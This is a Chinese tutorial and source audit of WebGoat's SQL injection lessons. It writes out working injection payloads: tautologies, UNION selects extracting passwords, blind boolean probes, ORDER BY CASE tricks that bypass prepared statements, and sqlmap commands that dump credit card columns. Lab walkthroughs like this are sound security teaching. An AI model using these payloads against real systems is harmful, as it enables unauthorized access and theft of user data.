WebGoat是一个基于java写的开源漏洞靶场,本期斗哥带来WebGoat的SQL注入攻击例子及相对应的JAVA源码审计。
0×01 String SQL Injection
这个注入页面是页面,该页面的主要功能是让我们输入用户名从而获取用户名的信息,此处存在SQL注入。
输入Smith得到Smith用户的账户信息。
输入Smith’ and 1=1 –+页面为正常查询结果。
输入Smith’ and 1=2 –+页面显示 No results matched,由此判断存在SQL注入。
输入Smith’ or 1=1 –+得到所有用户信息,完成实验要求。
进一步去利用这个SQLi,此处后端数据库使用的是HSQLDB,根据sqlmap的提示得到了更多的注入手段。
把请求的数据包保存成一个txt文件,叫url.txt。
python sqlmap.py -r url.txt
python sqlmap.py -r url.txt -D “PUBLIC” -T USER_DATA -C “USERID,FIRST_NAME,LAST_NAME,CC_NUMBER,CC_TYPE” –dump
该漏洞链接 :
漏洞文件 :
D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\introduction\SqlInjectionLesson5a.java
该文件开头导入了sql的相关包。
在该文件的第48~67行,可以看到用到了该文件先是获取POST请求中文中account的值拼接到SQL语句,由executeQuery函数执行了该语句。
由于从获取值,到拼接查询整个过程,代码并未对用户输入做任何处理,导致输入用户可控从而造成SQL注入漏洞,另外此处的注入类型为字符型注入,由语句String query = “SELECT * FROM user_data WHERE last_name = ‘” + accountName + “‘”;便可知晓。
0×02 Numeric SQL Injection
这个注入页面是页面,该页面的主要功能是通过用户ID来获取用户信息。
输入101得到该ID账户的信息。
#p#分页标题#e#
输入101 or 1=1得到该所有账户的信息。
此处为数字型的SQL注入,漏洞代码和字符型的代码漏洞几乎没什么区别。
漏洞文件 。
D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\introduction\SqlInjectionLesson5b.java
0×03 Advanced SQL Injection
这个注入页面是页面,该页面的主要目的是让我们执行union查询获得Dave这个账号的密码。
根据所给的信息。
可知存在密码的表名为user_system_data,列为password
Smith’ order by 7–为正常页面。
Smith’ order by 8–报错,说明列数为7。
Smith’ union select null,null,null,null,null,null,null from user_system_data –联合查询判断数据回显列位置。
Smith’ union select null,user_name,password,null,null,null,null from user_system_data –获取用户名密码,得到dave密码是dave。
0×04 Blind SQL Injection
这个注入页面是页面,该页面有两个功能,一处是登陆,一处是注册功能。
此处文件为D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\advanced\SqlInjectionChallenge.java
在代码的77~87行处,是对于登陆的后端代码处理。
先是获取POST请求正文username_login和password_login的值,然后使用prepareStatement()来预编译处理SQL语句,该函数可以防止SQL攻击。
该处PreparedStatement的使用说明
• 使用了connection的prepareStatement(String_sql)即创建时与一条SQL模版绑定。
• 调用PreparedStatement的setString()方法为?设置值。
• 调用executeQuery()方法执行。
在代码的40~63行处,是对于注册的后端代码处理。
#p#分页标题#e#
可以发现,在注册之前做了一个用户名是否注册的判断,而该操作执行的是checkUserQuery这条拼接的SQL语句,此处存在SQL注入,注入参数为username_req。
username_reg=test提示用户创建。
username_reg=test再次发送提示用户已创建。
即构造语句为假,则创建用户,提示用户创建;构造语句为真,则提示用户已经创建。
username_reg=retest_01′and ’1′=’1语句为假提示用户创建。
username_reg=retest_01′and ’1′=’1再次发送语句为真,提示用户存在。
username_reg=retest_01′and ’1′=’2构造语句为真,始终提示用户创建。
此处存在SQL盲注,需要了解HSQLDB的语句,进一步获取注入出更多的数据,下面是Sqlmap的POC建议。
0×05 Order by 绕过预编译
预编译的语句并不是能够防御住所有的SQL注入攻击,这边是HSQLDB的order by 语句的语法规范。
这意味这orderExpression可以是一个selectExpression也可以是一个函数。
例如使用一个case语句。
select * from users order by (case when (true) then lastname else firstname)
因此可以用任何布尔类型来替代when(…)的一部分,从而判断语句是否起作用。
这个我搭建了一个简单的HSQLDB的环境,根据这个 地址教程搭建的。
select * from category
select * from category order by(case when (true) then NAME end)
#p#分页标题#e#
在页面存在类似的漏洞。
发起排序请求:
按照ID来排序:
按照IP来排序:
相对应的源代码文件是D:\myjava\WebGoat-8.0.0.M14\webgoat-lessons\sql-injection\src\main\java\org\owasp\webgoat\plugin\mitigation\Servers.java
在代码44~54行规定这个排序功能,采用的仍然是预编译的方式。
(case when (true) then id else ip end)的URL编码是:
%28case%20when%20%28true%29%20then%20id%20else%20ip%20end%29
(case when (false) then id else ip end)的URL编码是:
%28case%20when%20%28false%29%20then%20id%20else%20ip%20end%29
进一步了解HSQLDB的语法就可以利用order by 获取更多的数据了。